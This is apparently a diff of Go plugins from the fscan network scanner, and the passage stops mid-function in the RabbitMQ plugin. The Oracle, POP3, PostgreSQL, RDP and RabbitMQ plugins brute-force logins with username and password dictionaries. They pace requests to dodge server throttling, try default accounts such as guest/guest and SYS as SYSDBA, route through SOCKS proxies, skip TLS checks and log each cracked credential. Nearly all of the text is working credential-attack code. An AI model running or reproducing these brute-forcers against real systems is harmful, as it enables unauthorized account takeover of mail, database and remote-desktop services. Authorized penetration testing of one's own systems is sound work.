connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d",
user, pass, host, port, serviceName, Common.Timeout)
// 对SYS用户使用SYSDBA权限
if asSysdba {
connStr += "&sysdba=1"
}
// 建立数据库连接
db, err := sql.Open("oracle", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1)
// 使用上下文测试连接
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer cancel()
// 测试连接
err = db.PingContext(pingCtx)
if err != nil {
return false, err
}
// 不需要额外的查询验证,连接成功即可
return true, nil
}
// saveOracleResult 保存Oracle扫描结果
func saveOracleResult(info *Common.HostInfo, target string, credential OracleCredential, serviceName string) {
var successMsg string
if strings.ToUpper(credential.Username) == "SYS" {
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)",
target, credential.Username, credential.Password, serviceName)
} else {
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s",
target, credential.Username, credential.Password, serviceName)
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "oracle",
"username": credential.Username,
"password": credential.Password,
"service_name": serviceName,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+413
View File
@@ -0,0 +1,413 @@
package Plugins
import (
"bufio"
"context"
"crypto/tls"
"fmt"
"net"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
)
// POP3Credential 表示一个POP3凭据
type POP3Credential struct {
Username string
Password string
}
// POP3ScanResult 表示POP3扫描结果
type POP3ScanResult struct {
Success bool
Error error
Credential POP3Credential
IsTLS bool
}
func POP3Scan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []POP3Credential
for _, user := range Common.Userdict["pop3"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, POP3Credential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["pop3"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描,但需要限制速率
result := concurrentPOP3Scan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
savePOP3Result(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("POP3扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentPOP3Scan 并发扫描POP3服务(包含速率限制)
func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
// 不使用ModuleThreadNum控制并发数,必须单线程
maxConcurrent := 1
if maxConcurrent <= 0 {
maxConcurrent = 1 // POP3默认并发更低
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *POP3ScanResult, 1)
// 创建限速通道,控制请求频率
// 每次发送前需要从中获取令牌,确保请求间隔
rateLimiter := make(chan struct{}, maxConcurrent)
// 初始填充令牌
for i := 0; i < maxConcurrent; i++ {
rateLimiter <- struct{}{}
}
// 使用动态的请求间隔
requestInterval := 1500 * time.Millisecond // 默认间隔1.5秒
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 创建任务队列
taskQueue := make(chan POP3Credential, len(credentials))
for _, cred := range credentials {
taskQueue <- cred
}
close(taskQueue)
// 记录已处理的凭据数
var processedCount int32
processedCountMutex := &sync.Mutex{}
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func(workerID int) {
defer wg.Done()
for credential := range taskQueue {
select {
case <-scanCtx.Done():
return
case <-rateLimiter:
// 获取令牌,可以发送请求
processedCountMutex.Lock()
processedCount++
currentCount := processedCount
processedCountMutex.Unlock()
Common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
currentCount, len(credentials), workerID, credential.Username, credential.Password))
result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries)
// 尝试完成后添加延迟,然后归还令牌
time.Sleep(requestInterval)
// 未被取消的情况下归还令牌
select {
case <-scanCtx.Done():
// 如果已经取消,不再归还令牌
default:
rateLimiter <- struct{}{}
}
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}(i)
}
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("POP3并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryPOP3Credential 尝试单个POP3凭据
func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &POP3ScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
// 重试间隔时间增加,避免触发服务器限制
retryDelay := time.Duration(retry*2000) * time.Millisecond
time.Sleep(retryDelay)
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, isTLS, err := POP3Conn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &POP3ScanResult{
Success: true,
Credential: credential,
IsTLS: isTLS,
}
}
lastErr = err
if err != nil {
// 处理特定错误情况
if strings.Contains(strings.ToLower(err.Error()), "too many connections") ||
strings.Contains(strings.ToLower(err.Error()), "connection refused") ||
strings.Contains(strings.ToLower(err.Error()), "timeout") {
// 服务器可能限制连接,增加等待时间
waitTime := time.Duration((retry+1)*3000) * time.Millisecond
Common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
time.Sleep(waitTime)
continue
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &POP3ScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// POP3Conn 尝试POP3连接
func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 创建结果通道
resultChan := make(chan struct {
success bool
isTLS bool
err error
}, 1)
// 在协程中尝试连接,支持取消
go func() {
// 首先尝试普通连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err == nil {
flag, authErr := tryPOP3Auth(conn, user, pass, timeout)
conn.Close()
if authErr == nil && flag {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
isTLS bool
err error
}{flag, false, nil}:
}
return
}
}
// 如果普通连接失败,尝试TLS连接
select {
case <-ctx.Done():
return
default:
}
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
// 对于TLS连接,暂时使用标准dialer
// TODO: 实现通过socks代理的TLS连接
tempDialer := &net.Dialer{Timeout: timeout}
tlsConn, tlsErr := tls.DialWithDialer(tempDialer, "tcp", addr, tlsConfig)
if tlsErr != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
isTLS bool
err error
}{false, false, fmt.Errorf("连接失败: %v", tlsErr)}:
}
return
}
defer tlsConn.Close()
flag, authErr := tryPOP3Auth(tlsConn, user, pass, timeout)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
isTLS bool
err error
}{flag, true, authErr}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.isTLS, result.err
case <-ctx.Done():
return false, false, ctx.Err()
}
}
// tryPOP3Auth 尝试POP3认证
func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
reader := bufio.NewReader(conn)
// 设置较长的超时时间以适应一些较慢的服务器
conn.SetDeadline(time.Now().Add(timeout))
// 读取欢迎信息
response, err := reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
}
// 检查是否有错误信息
if strings.Contains(strings.ToLower(response), "error") ||
strings.Contains(strings.ToLower(response), "too many") {
return false, fmt.Errorf("服务器拒绝连接: %s", strings.TrimSpace(response))
}
// 发送用户名前等待一小段时间
time.Sleep(300 * time.Millisecond)
// 发送用户名
conn.SetDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user)))
if err != nil {
return false, fmt.Errorf("发送用户名失败: %v", err)
}
// 读取用户名响应
conn.SetDeadline(time.Now().Add(timeout))
response, err = reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取用户名响应失败: %v", err)
}
if !strings.Contains(response, "+OK") {
return false, fmt.Errorf("用户名无效: %s", strings.TrimSpace(response))
}
// 发送密码前等待一小段时间
time.Sleep(300 * time.Millisecond)
// 发送密码
conn.SetDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass)))
if err != nil {
return false, fmt.Errorf("发送密码失败: %v", err)
}
// 读取密码响应
conn.SetDeadline(time.Now().Add(timeout))
response, err = reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取密码响应失败: %v", err)
}
if strings.Contains(response, "+OK") {
return true, nil
}
return false, fmt.Errorf("认证失败: %s", strings.TrimSpace(response))
}
// savePOP3Result 保存POP3扫描结果
func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult) {
tlsStatus := ""
if result.IsTLS {
tlsStatus = " (TLS)"
}
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s",
target, result.Credential.Username, result.Credential.Password, tlsStatus)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "pop3",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
"tls": result.IsTLS,
},
}
Common.SaveResult(vulnResult)
}
+319
View File
@@ -0,0 +1,319 @@
package Plugins
import (
"context"
"database/sql"
"database/sql/driver"
"fmt"
"net"
"strings"
"sync"
"time"
"github.com/lib/pq"
"github.com/shadow1ng/fscan/Common"
)
// PostgresProxyDialer 自定义dialer结构体
type PostgresProxyDialer struct {
timeout time.Duration
}
// Dial 实现pq.Dialer接口,支持socks代理
func (d *PostgresProxyDialer) Dial(network, address string) (net.Conn, error) {
return Common.WrapperTcpWithTimeout(network, address, d.timeout)
}
// DialTimeout 实现具有超时的连接
func (d *PostgresProxyDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
return Common.WrapperTcpWithTimeout(network, address, timeout)
}
// PostgresCredential 表示一个PostgreSQL凭据
type PostgresCredential struct {
Username string
Password string
}
// PostgresScanResult 表示PostgreSQL扫描结果
type PostgresScanResult struct {
Success bool
Error error
Credential PostgresCredential
}
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []PostgresCredential
for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, PostgresCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["postgresql"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentPostgresScan(ctx, info, credentials, Common.Timeout+10, Common.MaxRetries)
if result != nil {
// 记录成功结果
savePostgresResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("PostgreSQL扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentPostgresScan 并发扫描PostgreSQL服务
func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *PostgresScanResult, 1)
workChan := make(chan PostgresCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryPostgresCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("PostgreSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryPostgresCredential 尝试单个PostgreSQL凭据
func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &PostgresScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := PostgresConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &PostgresScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &PostgresScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// PostgresConn 尝试PostgreSQL连接
func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
// 构造连接字符串
connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d",
user, pass, info.Host, info.Ports, Common.Timeout/1000, // 转换为秒
)
// 检查是否需要使用socks代理
if Common.Socks5Proxy != "" {
// 使用自定义dialer通过socks代理连接
dialer := &PostgresProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond,
}
// 使用pq.DialOpen通过自定义dialer建立连接
conn, err := pq.DialOpen(dialer, connStr)
if err != nil {
return false, err
}
defer conn.Close()
// 转换为sql.DB进行测试
db := sql.OpenDB(&postgresConnector{conn: conn})
defer db.Close()
// 使用上下文测试连接
err = db.PingContext(ctx)
if err != nil {
return false, err
}
// 简单查询测试权限
var version string
err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version)
if err != nil {
return false, err
}
return true, nil
}
// 使用标准连接方式
db, err := sql.Open("postgres", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Millisecond)
db.SetMaxOpenConns(1)
db.SetMaxIdleConns(0)
// 使用上下文测试连接
err = db.PingContext(ctx)
if err != nil {
return false, err
}
// 简单查询测试权限
var version string
err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version)
if err != nil {
return false, err
}
return true, nil
}
// postgresConnector 封装driver.Conn为sql.driver.Connector
type postgresConnector struct {
conn driver.Conn
}
func (c *postgresConnector) Connect(ctx context.Context) (driver.Conn, error) {
return c.conn, nil
}
func (c *postgresConnector) Driver() driver.Driver {
return &pq.Driver{}
}
// savePostgresResult 保存PostgreSQL扫描结果
func savePostgresResult(info *Common.HostInfo, target string, credential PostgresCredential) {
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "postgresql",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+400
View File
@@ -0,0 +1,400 @@
package Plugins
import (
"context"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
)
// RDPCredential 表示一个RDP凭据
type RDPCredential struct {
Username string
Password string
Domain string
}
// RDPScanResult 表示RDP扫描结果
type RDPScanResult struct {
Success bool
Error error
Credential RDPCredential
}
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) error {
defer func() {
if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
}
}()
if Common.DisableBrute {
return nil
}
port, _ := strconv.Atoi(info.Ports)
target := fmt.Sprintf("%v:%v", info.Host, port)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []RDPCredential
for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RDPCredential{
Username: user,
Password: actualPass,
Domain: Common.Domain,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rdp"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRdpScan(ctx, info, credentials, port, Common.Timeout)
if result != nil {
// 记录成功结果
saveRdpResult(info, target, port, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("RDP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentRdpScan 并发扫描RDP服务
func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RDPScanResult, 1)
workChan := make(chan RDPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryRdpCredential(scanCtx, info.Host, credential, port, timeoutSeconds)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("RDP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRdpCredential 尝试单个RDP凭据
func tryRdpCredential(ctx context.Context, host string, credential RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
// 创建结果通道
resultChan := make(chan *RDPScanResult, 1)
// 在协程中进行连接尝试
go func() {
success, err := RdpConn(host, credential.Domain, credential.Username, credential.Password, port, timeoutSeconds)
select {
case <-ctx.Done():
// 上下文已取消,不返回结果
case resultChan <- &RDPScanResult{
Success: success,
Error: err,
Credential: credential,
}:
// 成功发送结果
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result
case <-ctx.Done():
return &RDPScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
// 单个连接超时
return &RDPScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
Credential: credential,
}
}
}
// RdpConn 尝试RDP连接
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
defer func() {
if r := recover(); r != nil {
glog.Error("RDP连接panic:", r)
}
}()
target := fmt.Sprintf("%s:%d", ip, port)
// 创建RDP客户端
client := NewClient(target, glog.NONE)
if err := client.Login(domain, user, password, timeout); err != nil {
return false, err
}
return true, nil
}
// saveRdpResult 保存RDP扫描结果
func saveRdpResult(info *Common.HostInfo, target string, port int, credential RDPCredential) {
var successMsg string
if credential.Domain != "" {
successMsg = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v",
target, credential.Domain, credential.Username, credential.Password)
} else {
successMsg = fmt.Sprintf("RDP %v Username: %v Password: %v",
target, credential.Username, credential.Password)
}
Common.LogSuccess(successMsg)
// 保存结果
details := map[string]interface{}{
"port": port,
"service": "rdp",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
if credential.Domain != "" {
details["domain"] = credential.Domain
}
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
// Client RDP客户端结构
type Client struct {
Host string // 服务地址(ip:port)
tpkt *tpkt.TPKT // TPKT协议层
x224 *x224.X224 // X224协议层
mcs *t125.MCSClient // MCS协议层
sec *sec.Client // 安全层
pdu *pdu.Client // PDU协议层
vnc *rfb.RFB // VNC协议(可选)
}
// NewClient 创建新的RDP客户端
func NewClient(host string, logLevel glog.LEVEL) *Client {
// 配置日志
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
// Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[连接错误] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
// 初始化协议栈
g.initProtocolStack(conn, domain, user, pwd)
// 建立X224连接
if err = g.x224.Connect(); err != nil {
return fmt.Errorf("[X224连接错误] %v", err)
}
glog.Info("等待连接建立...")
// 等待连接完成
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
// 设置事件处理器
g.setupEventHandlers(wg, &breakFlag, &err)
// 添加额外的超时保护
connectionDone := make(chan struct{})
go func() {
wg.Wait()
close(connectionDone)
}()
select {
case <-connectionDone:
// 连接过程正常完成
return err
case <-time.After(time.Duration(timeout) * time.Second):
// 超时
if !breakFlag {
breakFlag = true
wg.Done()
}
return fmt.Errorf("连接超时")
}
}
// initProtocolStack 初始化RDP协议栈
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
// 创建协议层实例
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
// 设置认证信息
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
// 配置协议层关联
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
}
// setupEventHandlers 设置PDU事件处理器
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
// 错误处理
g.pdu.On("error", func(e error) {
*err = e
glog.Error("错误:", e)
g.pdu.Emit("done")
})
// 连接关闭
g.pdu.On("close", func() {
*err = errors.New("连接关闭")
glog.Info("连接已关闭")
g.pdu.Emit("done")
})
// 连接成功
g.pdu.On("success", func() {
*err = nil
glog.Info("连接成功")
g.pdu.Emit("done")
})
// 连接就绪
g.pdu.On("ready", func() {
glog.Info("连接就绪")
g.pdu.Emit("done")
})
// 屏幕更新
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("屏幕更新:", rectangles)
})
// 完成处理
g.pdu.On("done", func() {
if !*breakFlag {
*breakFlag = true
wg.Done()
}
})
}
+308
View File
@@ -0,0 +1,308 @@
package Plugins
import (
"context"
"fmt"
amqp "github.com/rabbitmq/amqp091-go"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"sync"
"time"
)
// RabbitMQCredential 表示一个RabbitMQ凭据
type RabbitMQCredential struct {
Username string
Password string
}
// RabbitMQScanResult 表示扫描结果
type RabbitMQScanResult struct {
Success bool
Error error
Credential RabbitMQCredential
ErrorMsg string // 保存详细的错误信息
}
// RabbitMQScan 执行 RabbitMQ 服务扫描
func RabbitMQScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先测试默认账号 guest/guest
Common.LogDebug("尝试默认账号 guest/guest")
defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"}
defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
if defaultResult.Success {
saveRabbitMQResult(info, target, defaultResult.Credential)
return nil
} else if defaultResult.Error != nil {
// 打印默认账号的详细错误信息
Common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
}
// 构建其他凭据列表
var credentials []RabbitMQCredential
for _, user := range Common.Userdict["rabbitmq"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RabbitMQCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rabbitmq"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRabbitMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveRabbitMQResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("RabbitMQ扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
return nil
}
}
// concurrentRabbitMQScan 并发扫描RabbitMQ服务
func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RabbitMQScanResult, 1)
workChan := make(chan RabbitMQCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
